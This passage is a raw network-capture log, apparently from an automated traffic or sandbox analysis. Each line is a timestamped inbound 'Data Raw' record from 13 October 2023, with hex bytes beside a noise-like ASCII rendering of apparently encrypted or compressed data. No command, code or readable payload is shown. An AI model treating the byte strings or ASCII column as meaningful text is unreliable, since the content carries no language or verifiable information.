d2 c3 e5 84 2e ae 48 a2 b6 8a 9a f8 34 22 d1 2c 1f b0 2b 04 df e5 4c 01 6b a5 db 81 a9 24 79 43 f1 a2 2e 01 45 55 1e 32 51 7d e2 4a cc b5 23 0c a1 0e 26 2c d0 b5 5c a3 9d b7 55 fa b5 Data Ascii: BF<Ch}VGq.k:d1O)kyAT,8<}z5V?pkkI\jOgikj7p!yhE\ruh!2$[67co\p\D6a/{'(wk`W+os[*>2p{Gv.H4",+Lk$yC.EU2Q}J#&,\U
2023-10-13 14:06:11 UTC	2732	IN	Data Raw: cc 5e 41 b7 ba cf 45 21 64 3e e9 06 b8 ae c2 a3 af c0 14 c3 a2 15 fa 36 60 78 25 ad 1c 55 34 7f 31 ee 9c a1 c3 3a 6a 19 cd 89 4e d7 68 b6 9a aa b4 0f 09 db 6c 30 6f ea bd 00 c4 2f 53 69 bd 26 13 89 fd 54 1b a0 65 e1 cf 5e 34 84 a7 fc f6 28 3a 5e 2d 21 3e 43 51 ec 4b 15 2d 70 e0 78 74 73 65 22 85 43 43 d3 d8 73 e4 e6 8d 17 f5 41 e2 9e 90 ad b9 c4 33 c2 23 77 70 d3 e8 cc 16 cf 6d c1 4d 80 e7 d6 ac b7 2e 10 88 a1 45 4e 89 82 88 4f 38 e7 06 96 2d 2c 75 7a b2 5f b5 fc e7 91 a9 32 7d 95 71 5e 5f 2a 43 65 25 81 22 25 51 8d 7d 4c 92 92 8c 44 e5 20 50 5d 89 a9 20 e1 d1 5f 93 1c ff 3e dd 59 95 d7 74 ee 94 a2 68 3f b3 7b 4d 1f 96 31 3a 27 ae 05 24 34 04 fb 04 14 94 ab 63 36 3c 18 c2 1f 5b bb 13 26 f5 a6 fa 6b 9f 02 c5 fc ba 66 e6 bc 23 74 70 43 bf 23 77 28 17 7f d5 Data Ascii: ^AE!d>6`x%U41:jNhl0o/Si&Te^4(:^-!>CQK-pxtse"CCsA3#wpmM.ENO8-,uz_2}q^_*Ce%"%Q}LD P] _>Yth?{M1:'$4c6<[&kf#tpC#w(
2023-10-13 14:06:11 UTC	2748	IN	Data Raw: 1b 04 36 f7 7f a6 01 7e a9 20 bb 19 2e cb 70 5e 09 76 c5 ec d7 3d 66 3a f6 42 f5 aa 72 91 9b 10 4b 86 a5 48 27 6e 9a a1 90 33 de 37 99 12 5b f9 d6 9f cf e6 2b 90 e1 d6 18 e0 8d 19 ff dc 22 48 c6 5b 53 94 3f 51 15 16 1c ee 39 ea 5c 8f d2 3b 2b 75 2b c5 89 ec 00 0b b2 f2 13 0b be 2b 07 05 4d cb 60 a4 f4 6c d6 cd 2a 52 6d b7 b4 d5 63 51 65 70 3b c0 b9 17 68 b4 04 91 94 0f f7 29 60 4e bb d3 08 04 67 74 1d 95 7c b9 10 ff bf 9b b6 70 6a 1b 85 cb 29 43 a0 f3 27 68 33 12 5a 43 c9 11 56 1f 6d bc 3a 74 64 01 b1 80 66 ab 55 90 a7 9e d2 eb c9 74 15 9e b2 eb 99 7b 03 76 e7 f0 5f 47 18 c2 9e 12 e9 d1 57 09 e8 c8 8c b9 30 65 3c e2 41 1a 6e 23 51 7d 49 6b 03 0f da 45 d4 04 cf d1 35 8e ed 36 c0 1c cd 0f 62 d2 31 77 90 06 91 ff fd b3 69 09 94 07 5f 96 75 5a 65 1f c0 0d 5f Data Ascii: 6~ .p^v=f:BrKH'n37[+"H[S?Q9\;+u++M`l*RmcQep;h)`Ngt\|pj)C'h3ZCVm:tdfUt{v_GW0e<An#Q}IkE56b1wi_uZe_
2023-10-13 14:06:11 UTC	2764	IN	Data Raw: 86 ef 44 e9 7e 13 75 a5 ee 62 44 73 59 80 81 89 48 35 95 8b 64 44 35 04 7b 0a 36 00 5e a1 2a 0e 9c 09 6f 9b ed 96 f1 38 53 de fe fb 77 58 8b 41 8e d7 ed c1 f3 cd 14 ae 61 cd 7a 00 5a 3c 2c 01 53 5d 3d c2 59 ec 1b 13 ba f7 eb 0f 47 05 a7 c4 fb aa 78 65 dd 5b a5 24 7f fe a8 82 88 88 56 a1 f0 a2 27 1f 96 7a 70 22 42 9b 9f 87 54 41 f9 92 a9 dc d8 80 3d cc 27 e8 b2 bb 5c 80 c4 30 f9 14 e8 2d 9c fc 3b f1 ed 7c 39 cb 77 96 23 58 ea bd 3f 39 d7 4e 9f 6a 38 64 71 c6 24 de 0a 43 94 0d 90 fc 55 f1 e7 09 d0 e8 c3 2e 9c 3f 8a bd aa d1 59 9d 6f a7 bf bc d2 75 b6 03 6e 4c 9c 6d b8 cc bb 69 2c 4c 5b b6 d6 c5 f5 5f 4c 12 88 70 6c 96 22 0a 75 86 54 0e e2 dc 6c ab 00 25 0d 82 62 b7 8e a6 3f bb 2d 81 96 bf 3e fa 7e b4 42 81 52 f2 ae cb 0c ee f4 ef 9b 12 bc e7 b1 98 d8 77 d5 Data Ascii: D~ubDsYH5dD5{6^*o8SwXAazZ<,S]=YGxe[$V'zp"BTA='\0-;\|9w#X?9Nj8dq$CU.?YounLmi,L[_Lpl"uTl%b?->~BRw
2023-10-13 14:06:11 UTC	2780	IN	Data Raw: b1 14 cb f1 a9 7e cf f7 10 d9 26 86 01 74 cf b2 2c b4 17 a2 00 d9 c5 1b 1b c0 d6 97 b2 1f 20 aa 2f f8 42 1c d0 76 60 10 fd bd 4d 5c c3 64 8d 11 35 a4 d5 f2 10 dd ef 4c 62 7d a3 6c d6 7f 29 85 cb 68 58 b7 1a 3b b8 c7 df 3f 11 f6 83 70 f5 f7 45 e8 b9 cf 61 e3 a0 48 83 42 47 7c e4 72 5d ed 57 4d 5e 58 ea 9a 8a b5 76 4e e4 54 09 a0 44 cb 9c 44 c4 82 f7 93 25 e0 ae 2a d9 0d 18 57 45 50 4c 33 2c cb 5b 61 9e 08 c4 26 51 31 71 ad bb d2 70 ee dc a3 f9 8e fe 88 7e 27 e0 27 72 4c 2a a3 06 d3 78 12 6f 33 24 f7 3c 77 f2 b4 c8 41 96 f1 cd 53 7f d4 a9 8f 69 73 2d f2 5d 21 17 96 52 47 bc 07 ef e2 d0 bf f0 f1 bc 6a 4e 90 46 f0 10 3e f4 85 0a cb 16 ea 69 c9 ca 1c 1b 3d ff df cd f0 b4 40 f1 76 0a 21 6a cb b4 b2 14 d7 00 c7 01 c5 1a 80 05 a5 30 87 05 40 d9 1f 1e 54 c2 d2 aa Data Ascii: ~&t, /Bv`M\d5Lb}l)hX;?pEaHBG\|r]WM^XvNTDD%WEPL3,[a&Q1qp~''rLxo3$<wASis-]!RGjNF>i=@v!j0@T
2023-10-13 14:06:11 UTC	2796	IN	Data Raw: 40 c8 d9 d9 1d d1 98 08 fa e8 0b 4c 28 4c d7 7d 07 85 e8 25 4d 00 61 8e 0d 90 d0 88 aa c0 e3 d1 08 ff b5 7b d1 ab 71 4f 62 63 95 fd 28 51 64 ca 24 1f be da f9 7c 9f 7d d1 8b e9 6f 39 32 67 22 a8 0e e3 7c da a7 aa ae 66 d0 35 0c f1 6e 6c 80 d0 54 95 90 60 c7 c9 76 af 56 cd 5a 36 86 98 32 6a 8f 58 c9 05 b6 6b 50 8f 56 5b 16 b8 43 26 77 eb e9 62 56 e5 97 e1 7f f1 00 85 a7 3e 54 7d ad ad 8a 2b c6 30 ac d9 71 a2 3b 08 88 b7 cf 4a 1a 6f 4f ab cd f2 76 74 34 62 15 bb 30 97 8b 59 ff 87 fe 3a ed 09 7e 67 14 53 d4 71 da 53 13 3f 22 ca 13 71 82 80 04 83 22 10 48 2c eb 36 3f ca f7 16 29 c2 f1 53 1f b9 28 25 72 f8 0e a3 2e 66 26 77 ea 5c 47 d6 ef 52 5a 04 cd eb 53 57 44 f5 ee 07 cc 92 b3 8b df 55 4c 1b 00 bc a2 47 41 97 60 f9 6d 17 9a 3a ab dc e6 f5 78 9a 5c ad 46 76 Data Ascii: @L(L}%Ma{qObc(Qd$\|}o92g"\|f5nlT`vVZ62jXkPV[C&wbV>T}+0q;JoOvt4b0Y:~gSqS?"q"H,6?)S(%r.f&w\GRZSWDULGA`m:x\Fv
2023-10-13 14:06:11 UTC	2812	IN	Data Raw: b8 d2 94 32 59 91 c8 07 5c 22 f0 83 7a 45 7c 51 a2 bb 39 0b 80 29 b3 59 2e 8e 9c 8d ff 53 f6 c9 37 d0 ed 38 4a a8 bc bc 87 0e 47 bc 9a 5d 55 a5 2e c4 11 72 18 6a 59 16 8d 5d 5b e8 35 ce 5a 73 62 79 f9 7b 6f 7e 8a 80 eb 6c d4 01 ba 71 c4 f9 39 44 47 53 4a 3e 4d 0d 39 09 72 95 a0 49 32 f9 c7 3d 93 cf 5f 73 d0 81 d0 42 4b 52 99 cd 6e 89 c7 b3 9a a6 7a 94 fa 87 82 76 de c4 04 c7 16 17 f8 5f d2 03 98 1a 19 04 05 67 c6 de f5 8b 1c 8f f0 fe 29 11 27 99 6d 9b 56 92 92 4c 2a 94 03 4c dd 47 f1 bd 2c 69 4c 96 20 94 64 60 56 af f4 e9 c5 8a b7 e6 64 4d 52 48 48 d5 d0 b6 36 59 62 e7 f5 5a 6d 48 96 b7 f2 3d 3b e5 58 e8 0f ac bb b4 1e 2f bc 8e a9 7e 8c 96 5f be b1 64 74 79 9b 75 b1 d2 46 90 69 75 4b ba 20 95 05 29 28 34 e3 43 09 82 6c f3 6c c9 1d a2 ab 6d 92 81 55 58 fb Data Ascii: 2Y\"zE\|Q9)Y.S78JG]U.rjY][5Zsby{o~lq9DGSJ>M9rI2=_sBKRnzv_g)'mVL*LG,iL d`VdMRHH6YbZmH=;X/~_dtyuFiuK )(4CllmUX
2023-10-13 14:06:11 UTC	2828	IN	Data Raw: 5d 51 73 58 82 fd bc 51 fe 31 82 d7 d2 f5 b4 f1 2d bb 5c ca 6a d3 32 c1 c1 05 52 de 7f 92 c1 63 4e 6c e1 fb 91 1d 78 0c bd 3b aa a9 df 08 55 cb 25 b6 8b be 4e 64 c5 01 5a 58 17 e0 d7 4b 4b 22 18 c6 a7 25 1b 6f dd fa b3 61 40 2c cc b5 9b 93 d2 07 ef a0 5e ef 3c b4 4a 5b d6 73 29 02 73 84 3e 61 79 05 a7 aa f6 52 d9 1c 97 8a fd 14 bc a7 f0 97 44 d9 e1 a6 15 5c b0 29 94 5e a5 0a 81 42 06 0f 57 03 a0 2b ad 18 a4 d9 07 be 4f d0 0a fb b1 3a 66 90 00 19 89 3a 2a 8c 71 f9 bc 29 05 06 c2 2c aa df 31 6f df 5e 2a e6 f3 fc 2b f1 0b 64 9b 1d d3 20 11 49 69 ed d4 c9 1f 14 8a 58 f9 a4 f4 7c 08 d2 f4 c6 30 72 0e 28 3e 69 08 13 70 e3 ce a9 df f6 6a db 6b 88 31 89 10 e0 f6 91 c9 da 40 a1 d6 f0 10 e8 e4 c2 18 bb c6 a1 21 e7 5f 33 1a 7a 6e c2 cf 81 e2 ec 45 2d 97 5d b0 73 01 Data Ascii: ]QsXQ1-\j2RcNlx;U%NdZXKK"%oa@,^<J[s)s>ayRD\)^BW+O:f:q),1o^+d IiX\|0r(>ipjk1@!_3znE-]s
2023-10-13 14:06:11 UTC	2844	IN	Data Raw: e4 59 19 60 85 1c 09 a4 71 36 1f a7 7a 37 89 78 5e b4 ad 41 b4 29 c3 93 fb b7 a4 25 a8 45 37 20 65 c2 3d 58 8a 30 e7 ed da db b9 30 fc c1 96 c7 fe 4b 41 8a e9 d8 1b c7 e7 dc c5 ce 07 23 3a 05 e5 ed 93 98 26 90 a6 0d 7e 41 26 db 4e 48 e3 ca 02 11 9a de a1 fe da a5 ed 56 e1 4b 89 eb 6e ce e6 29 fc a1 8f 0a e1 10 34 39 45 f9 54 37 dc 61 47 61 9e ea 01 68 9a c2 19 86 42 74 06 3d 9d 9d a7 f3 42 66 ab 33 82 75 f4 57 70 d3 58 fa 25 0a 44 f1 24 7d 67 2e 0c 16 3f fa 51 19 db 3c 18 1c 4f 1b a5 f5 fc da 9e 58 9b 5e 28 db ec 7f 17 b1 ba 00 c9 42 5e 70 48 cf 12 f3 b7 63 df 2d ee 4d 76 ff 2c 94 ef 5e d5 52 bd 37 27 16 a9 70 60 42 a2 37 3e 3b 0e 90 6e e6 fb b8 03 3e 3a 01 c0 70 44 54 d1 18 c1 3e ab af de 29 5e 8c 2c 08 6f c1 90 b8 20 50 86 55 30 c5 ba 51 57 df d4 71 4c Data Ascii: Y`q6z7x^A)%E7 e=X00KA#:&~A&NHVKn)49ET7aGahBt=Bf3uWpX%D$}g.?Q<OX^(B^pHc-Mv,^R7'p`B7>;n>:pDT>)^,o PU0QWqL
2023-10-13 14:06:11 UTC	2860	IN	Data Raw: 4e 69 b2 65 3f 18 88 57 f4 38 1b 69 e6 8c d3 ae 8a 2b 43 1e 25 89 59 1e 40 b0 35 40 1a ba d2 53 a5 5b 5d 27 a1 8c ff b6 4d 60 15 98 5c a7 1e 09 47 44 aa 17 d6 e8 3c b0 11 99 60 2b 77 aa 80 07 bf 43 c4 86 dc bf 86 03 1a a4 db 25 87 da 91 a7 65 b8 36 e3 21 dc 01 2d 90 65 62 4b 79 2a 12 b9 a9 9f 7f 9d 79 8f 05 81 1f 61 df ac 59 16 d2 0f dc 93 bf 98 74 ca e4 24 2a 5e da 35 e1 f6 c4 6c 02 4e 0b 11 82 0e 98 9e 2a eb 35 74 86 97 32 e4 c4 f0 9a 7e b8 43 db 95 0c bb 62 48 82 b4 71 0c 73 37 57 a0 bf e6 f0 1c b2 6b ce 53 78 b5 a6 39 d4 d6 4b 77 c4 a4 26 0f 48 a6 19 64 75 88 be 6f 43 97 a9 c2 82 d0 6d e1 19 83 7c 32 2e 05 68 9e 17 f4 7a 0a 4a bb 34 cc f4 45 f8 5e 0a d8 e5 ac 14 18 ed f9 98 76 a8 f8 c7 26 96 77 9f f1 3b f6 cd 49 19 50 9c 2d 53 41 cd fc ad ed a9 89 6b Data Ascii: Nie?W8i+C%Y@5@S[]'M`\GD<`+wC%e6!-ebKyyaYt$^5lN*5t2~CbHqs7WkSx9Kw&HduoCm\|2.hzJ4E^v&w;IP-SAk
2023-10-13 14:06:11 UTC	2876	IN	Data Raw: d8 af eb 81 9b 26 5f 50 9c 4a d3 0e f3 a7 70 d0 01 8b da a9 73 ee ab e7 c2 85 c1 4a dc 59 8d fc bf 86 60 f0 bc 51 bf 82 7f 42 27 69 78 83 d8 ff fc 2d 91 9c d4 af 5d 18 e6 7c 3e 93 4b fa 2b b8 c6 ce a3 99 68 9f 0f 67 1c d2 52 8a b7 90 b2 8a 5a bf 3b 5f 1a c5 68 f3 30 d8 14 22 81 b0 b0 ec b0 34 22 c7 73 66 e8 bb d5 b4 95 74 21 a5 cf d4 d1 97 08 3c 7e 97 65 57 aa b4 06 9e c0 b4 67 1f 9d 53 bc 5e 20 d8 62 b8 54 06 03 bb c7 6c 4a c2 6a e4 ae a2 2a d0 1c 3d 38 db f9 98 38 3d 6f c8 b1 1b 1e 30 26 ed 8a a8 e6 0e 55 4e 5d d9 20 ac 4a 52 27 d6 99 6e a6 9d 17 af b0 0c a5 31 00 71 ba b0 db 3f 89 a2 20 aa 3b b5 a7 66 8d b9 bb 77 df fc 20 fe 80 86 72 a7 e6 f7 f7 e6 ed 91 84 26 bd 60 e7 94 c1 97 69 0d 47 77 cc 17 88 68 0e 57 29 6e 12 9a 87 2a 15 87 46 48 a5 5c 64 e8 0c Data Ascii: &_PJpsJY`QB'ix-]\|>K+hgRZ;_h0"4"sft!<~eWgS^ bTlJj=88=o0&UN] JR'n1q? ;fw r&`iGwhW)nFH\d
2023-10-13 14:06:11 UTC	2892	IN	Data Raw: 3a b8 59 f9 c6 db d9 ac 2d 34 64 08 a8 a9 87 f7 97 d5 4a 11 6c 7c 3e 05 05 51 09 33 17 77 ba d5 be 2f 4b e2 1e ce e8 5e 0d 09 03 11 a5 6d d5 e9 e3 c2 20 09 88 68 87 e7 5d b9 f6 aa dd 41 72 fb 85 02 34 5d ca 81 11 aa 34 bd 02 90 ec 24 7b 62 f3 ed e7 5f ee 6b 41 dd 72 7a e0 13 35 d1 57 79 8c 9c 7e 27 ae 22 9f 98 b3 2b dd 4e 3c ba 00 08 f5 5a 9a 35 ae 1e c4 64 2b db a5 17 ee 7f 9c ca 2f c3 24 29 7d c0 91 b9 48 b5 23 64 86 d8 f0 39 6b f3 f9 8a cb b7 33 6b c7 d2 83 01 ea 28 8b 06 08 4b 33 38 ab 31 e2 70 f0 19 67 1c cb 3a f4 6c f6 1c ee bb 71 e1 60 00 74 09 9a d2 ab 3d fe 0b a8 ff 1c c0 bf fc 2c 7a 3d b7 97 38 06 74 ee 33 cb 80 ac 68 10 bd 32 ad b2 66 d6 1b 52 a1 31 c5 94 95 b5 82 f0 88 c3 f3 83 20 9d 4b 68 1a 37 f8 c5 5d f7 76 e4 df 89 7d 1f e3 5b 41 6b 33 e8 Data Ascii: :Y-4dJl\|>Q3w/K^m h]Ar4]4${b_kArz5Wy~'"+N<Z5d+/$)}H#d9k3k(K381pg:lq`t=,z=8t3h2fR1 Kh7]v}[Ak3
2023-10-13 14:06:11 UTC	2908	IN	Data Raw: 50 75 5f 80 64 31 9d 5f 82 0d 5f 4f 2f 26 6d cb 42 3a f7 56 d2 39 c1 e3 f7 ef b4 79 04 4e 98 1c 86 87 40 da 44 25 bf 29 50 42 d5 77 65 84 aa a0 11 e1 e7 eb 90 63 81 02 ee e3 d3 00 10 31 65 6e 24 02 95 e4 a2 46 50 67 b5 67 ba eb b3 5e f1 d4 55 9c ac e0 87 73 9f 3b 92 03 be ba 20 93 1a 1a 48 ba 98 26 52 34 b8 5b 9c 7d 7c 89 22 9e 7a 67 5f 95 a0 40 f0 fb c7 5c 2f 7e 5a 08 1a 2e 49 72 5e 6a 83 2a eb 8e d7 2b 53 2a cc 35 a2 f7 28 32 de 12 65 61 00 64 be 37 66 73 e4 6a 6e 15 05 2d 4a de 38 88 22 77 98 ef 40 d3 58 c3 58 c5 b3 3e 95 33 35 8b 12 f9 06 35 ce f9 30 11 2c b2 e2 68 48 9a f7 5c 6c 90 13 8f 14 3d 77 aa d1 60 77 e0 f7 2c af 2f df 02 56 d8 6b 58 7c 9b 83 c1 f1 a6 f4 cf f7 82 b6 c9 87 65 1b a5 55 5d d5 0a c2 a5 19 68 34 1e 13 e2 48 e9 88 42 45 a4 4f b8 db Data Ascii: Pu_d1__O/&mB:V9yN@D%)PBwec1en$FPgg^Us; H&R4[}\|"zg_@\/~Z.Ir^j+S5(2ead7fsjn-J8"w@XX>3550,hH\l=w`w,/VkX\|eU]h4HBEO
2023-10-13 14:06:11 UTC	2924	IN	Data Raw: 5e 42 b5 c6 96 41 63 9f 47 ff 10 a5 a7 85 ac 02 32 c9 0d a9 ad ca 05 00 4e a6 df 8d 8d 62 ab 74 73 04 68 fc 68 7f 32 d3 e2 5f c8 c8 10 97 f4 c1 02 45 e4 48 6e 0f ab c8 e8 71 5a cb 6e 12 5f f4 ae df b5 2d 40 28 ac c6 fb 47 ff e2 3c a4 28 61 16 1d 4e 8f 8c 89 d6 29 36 9e 41 95 2e 7b 1a bd 50 b5 f7 e9 91 af 9b 5b 8c 98 50 9a 44 62 57 d0 29 58 ac 60 04 e3 08 03 5a 44 68 fb 93 11 95 b9 0b c5 48 71 a6 99 88 84 45 f0 4b 94 9f 27 9f 39 58 dc ec 77 a7 80 e2 59 b5 f7 f2 ee 7e 3f fa 85 a7 ed 91 fa d2 03 d0 73 7e 75 fe fb 34 82 fc 50 45 16 7e 9d 8e 28 47 f9 2e 1d ec ea 44 5d 17 11 a7 25 70 ad 8f 40 60 30 68 db 09 10 7e 18 8a fd 35 81 58 0d a0 56 63 76 6e ab 05 7c da f4 6f c5 02 24 96 62 eb 3c 0b 46 5c ea 3e 4b 17 7d a8 f5 e0 7d f3 68 be 13 84 58 7d 75 57 5c ad 30 61 Data Ascii: ^BAcG2Nbtshh2_EHnqZn_-@(G<(aN)6A.{P[PDbW)X`ZDhHqEK'9XwY~?s~u4PE~(G.D]%p@`0h~5XVcvn\|o$b<F\>K}}hX}uW\0a
2023-10-13 14:06:11 UTC	2940	IN	Data Raw: d7 cc ab e7 9c aa 52 26 3d 86 7c b5 75 e9 4c 1e 0a 70 ec 41 d4 38 a2 fd 6f c1 e0 af 22 19 5d b2 38 74 4a e3 e1 f8 8e 51 ba b8 b8 e3 fe 84 a3 cc 94 10 13 68 62 88 e1 ee 06 4f 31 25 5c ee 2a 45 8e 34 f8 c7 1e 40 9d 3b 12 a1 5b cf f7 a6 e6 cf af 7b b0 21 26 69 c6 16 74 ed 85 67 06 3e 00 8a fd 33 4f 68 8f 28 a0 aa d6 bb 75 1f b2 e2 9a 2d 2f c3 64 cc b5 77 a6 d2 f4 80 40 72 aa 3a 13 db 7a 7b f1 40 77 82 01 49 d6 c6 6e 80 cd ea 77 15 96 0b 2d df 55 67 6a 4e d6 a9 71 f0 71 1d 11 c8 b4 1d 5c 0b b8 3c 2b ad 74 50 09 d5 02 87 61 9a 14 27 ad 8c f5 d4 37 b0 21 e0 fd 70 1f db 96 f6 d4 18 c0 78 b3 ce 15 2b 2c 48 02 5a 95 52 59 f7 77 fc 79 b3 bc ea c1 b3 19 52 ec 82 1b fb 98 41 18 4c ef 8f 08 41 2a b2 4a 53 eb df 5a 49 31 ff 4f b2 a9 79 8d 28 9c 91 13 e6 16 00 47 af f8 Data Ascii: R&=\|uLpA8o"]8tJQhbO1%\E4@;[{!&itg>3Oh(u-/dw@r:z{@wInw-UgjNqq\<+tPa'7!px+,HZRYwyRALAJSZI1Oy(G
2023-10-13 14:06:11 UTC	2956	IN	Data Raw: b2 aa 95 f2 cb 31 78 78 34 df 6a 20 c4 12 c5 c2 84 85 82 cb fa 27 e3 6b 02 d7 48 d5 c3 7a 2e 4e eb 90 12 43 80 6f 1d b1 52 d7 8d bc bd c3 3b d3 70 cc 51 40 de f1 aa 43 e5 df 9c e5 6c 5b 25 34 27 d5 b6 a1 c8 ee 5b c9 a1 c7 c5 12 65 b7 cc 5f 2b 01 2a bf f9 fc f5 a1 55 06 5d 47 01 7a bb 55 e2 11 de 70 d0 3b b0 89 31 8d ec 18 0f a1 1c e5 5c d6 bb 70 08 1e da 94 7a 76 bd 86 2d ae ed 50 db 3c 8c 47 e5 2a 8b 32 b8 8e 18 6c fe ce 1d 01 20 c1 fc ad bc 03 4c 14 66 12 c2 5c 1b 4a 8b 61 29 47 70 c4 9a 5f d8 8e b3 0c 04 fe 82 e5 04 a8 5d d2 6b 4b b7 ef 89 b9 46 44 eb 37 8e 20 89 65 f4 bc 28 6a cf a7 51 c9 e5 67 85 a3 21 fa cc e2 83 9d 10 68 f2 74 06 e9 fc 4c ea 9c 86 8f a2 31 97 4c c8 0b a1 66 5f 1d 1f 5a 0d 0f a6 68 29 f6 47 60 fa 1e 45 99 f4 b1 66 b2 36 6f 41 20 66 Data Ascii: 1xx4j 'kHz.NCoR;pQ@Cl[%4'[e_+U]GzUp;1\pzv-P<G2l Lf\Ja)Gp_]kKFD7 e(jQg!htL1Lf_Zh)G`Ef6oA f
2023-10-13 14:06:11 UTC	2972	IN	Data Raw: f3 35 47 d6 d4 fc b8 21 0a 79 2a b3 c9 43 c8 c8 7f 92 11 47 13 61 a9 63 27 7f b3 a2 0a 7c 06 39 3e 90 f9 30 07 0b 2c 0e fe 63 a5 d7 e5 09 b7 6f c9 9a 79 08 2e 9c 00 a5 e1 23 ef 29 02 03 bc b8 a3 b9 fa 84 0f 28 7e a1 1c a5 c4 2d be 4b 21 8f 10 62 0d 3f a6 da 2e c1 16 d4 6d f6 ee 26 c1 84 5e 2e 92 f5 07 9c 05 74 56 41 0f aa 5e 50 50 19 12 da 9e a4 fb 11 17 d7 3f e5 1c 84 bf 5f f2 70 b1 83 b4 a5 ae f3 64 80 d4 9e 06 0c 5c 3a 74 a9 3d 77 cb 93 be 4e 57 28 8f 44 70 1c e1 12 50 1b 64 f6 b7 f3 58 7f f3 a4 02 3d 62 33 2f eb cd 54 ff d3 b8 ab 93 08 ca db 6b 52 e4 af 10 df 43 b9 66 ba e9 af e7 2b 65 1f a9 d7 40 45 0d 90 22 b4 49 8d 93 4c bf 4b 83 45 e5 ad af 5c 54 00 db 97 f9 43 5b 8e 21 73 a6 cf 8f c3 51 1d 1a eb 30 bf f2 ac 3f a5 62 f6 6f c3 4a ba 28 b3 8c 52 1c Data Ascii: 5G!y*CGac'\|9>0,coy.#)(~-K!b?.m&^.tVA^PP?_pd\:t=wNW(DpPdX=b3/TkRCf+e@E"ILKE\TC[!sQ0?boJ(R
2023-10-13 14:06:11 UTC	2988	IN	Data Raw: e6 3f ca 25 3d d0 08 74 5d f9 a6 4b 34 64 40 18 74 d8 27 ba 53 2b 10 a9 1e 19 ff ba e3 7f 7b 62 34 fe 88 a9 e7 68 c3 65 9f 35 94 f1 f3 fc f6 9c 9a e1 0d 4f e6 6b e5 cd 65 b4 04 4a c3 9e 29 cf a8 d7 69 7f 6d 4c 6b 8d 26 35 08 8c 5b 59 75 53 f4 87 77 82 3e 78 c7 22 31 08 57 e3 f4 7a 1b 15 c9 d1 67 ac 13 06 02 22 c3 9c 8d f5 31 c2 c9 13 9d d8 a9 e6 68 40 d7 80 eb 33 28 68 02 3f 1d e9 cc 4f 3d 0c 87 c1 28 ac b2 a0 a5 bf 83 5a 2f b6 39 6f 21 2f 30 94 c5 f7 3c 49 27 54 38 af 85 ed 41 77 18 bb 6d e0 d1 16 6b 47 6a 18 2f 64 10 5a 85 41 7f bd 62 13 8b 9e 55 f2 c0 10 bc 91 1b 53 0f 8f 27 ef 53 0f ea 32 dc fe 4e 23 dd 8f f9 76 f2 1d 9a 9c 51 92 d0 c2 b2 32 cf 89 40 26 3e a2 2f f3 81 bc 60 2d 04 de 6f 63 2e 84 24 7e 61 15 9c 7a e8 26 f5 24 d7 94 cf 41 e7 00 bb 72 98 Data Ascii: ?%=t]K4d@t'S+{b4he5OkeJ)imLk&5[YuSw>x"1Wzg"1h@3(h?O=(Z/9o!/0<I'T8AwmkGj/dZAbUS'S2N#vQ2@&>/`-oc.$~az&$Ar
2023-10-13 14:06:11 UTC	3004	IN	Data Raw: c4 96 ee 9c 15 15 a7 f2 b5 62 23 30 d9 5f 6e 46 2e f6 cc bc 91 30 b3 4d 08 bb 17 f7 05 c9 d9 27 1c aa d8 17 76 a7 92 96 b5 0f f8 55 f9 54 70 e0 4d f9 5f 3f da 9c 79 24 d1 96 69 5f 55 93 3c 65 0a 5d 74 69 24 f0 07 37 14 46 aa 59 cf 33 23 b0 cf 13 c9 48 fc f1 98 4b d6 70 fd 36 ad 77 12 b1 8f 40 5b 2e 26 e4 a4 88 3b e5 14 a6 19 76 b2 26 36 6f 74 17 cf b5 18 af 74 b4 7d 65 ab 20 24 0d 82 4f 49 25 9d 32 f2 88 82 62 e1 cd b2 e6 9e 58 80 50 1f 6f a8 b7 fd 83 d1 34 d9 5d 56 02 2f bd ff e6 1b a9 00 6c ed 44 f7 7d eb 1b c6 85 ef fc f4 90 c6 80 82 b5 69 4f 35 99 b7 fe 8b 8f 2d c9 30 0a 8c a1 5e 36 14 58 b9 25 af 8a 24 e4 4a 6a 88 f3 a9 a9 36 65 5f 95 16 c7 5a bf e1 89 a3 25 32 34 75 8e 08 fb b5 21 11 ea 82 28 82 2d 21 ef 49 ef 9b 13 7a bf ab cd a4 10 a7 5a 9f 8a 61 Data Ascii: b#0_nF.0M'vUTpM_?y$i_U<e]ti$7FY3#HKp6w@[.&;v&6ott}e $OI%2bXPo4]V/lD}iO5-0^6X%$Jj6e_Z%24u!(-!IzZa
2023-10-13 14:06:11 UTC	3020	IN	Data Raw: fd 42 82 5a cc 5b 56 f5 c3 d9 55 0f 3f 0c 1c 0f 48 c0 7f b1 c1 16 c8 b6 ad d9 02 65 a5 aa 7e b2 d7 ad fd 90 1b 33 3a 48 8c 29 fc 4e 54 33 92 48 ee fc 5e f0 20 f0 fa 5d 98 aa 39 0b cf 61 c3 d4 cc e6 34 b6 85 04 a3 0d 9b a9 16 01 08 60 5f f4 e8 4d a8 c7 76 56 f7 79 31 62 18 21 11 ee 0a c5 0c 96 8f 7b 05 3e 1c c5 21 b2 1b 0f 90 aa 06 34 8a 84 24 78 2f e0 c9 b2 2f 91 8e 1e 0b 74 da a7 ae 9d 77 21 53 e3 53 81 99 07 1c 10 1a 48 d0 17 e9 a1 82 0f 36 25 89 b9 70 33 7d 27 97 87 20 42 1a 3e 42 06 1d 09 d0 44 dd e5 0d a1 0e e8 37 42 e6 2f d2 5d 97 6f 7c 94 47 6b bf fc c8 04 0a a3 cf 12 ec d6 6e c7 71 32 ef 87 ce dc eb a5 54 27 fa 25 d1 61 63 62 dd 52 3e df a9 7b 3b 3d 2e df c5 67 81 f3 c4 fa 44 a0 2e 85 e4 87 e1 35 df 0d 53 7d cf 01 3a bc 0b 55 82 84 46 e3 4d e4 44 Data Ascii: BZ[VU?He~3:H)NT3H^ ]9a4`_MvVy1b!{>!4$x//tw!SSH6%p3}' B>BD7B/]o\|Gknq2T'%acbR>{;=.gD.5S}:UFMD
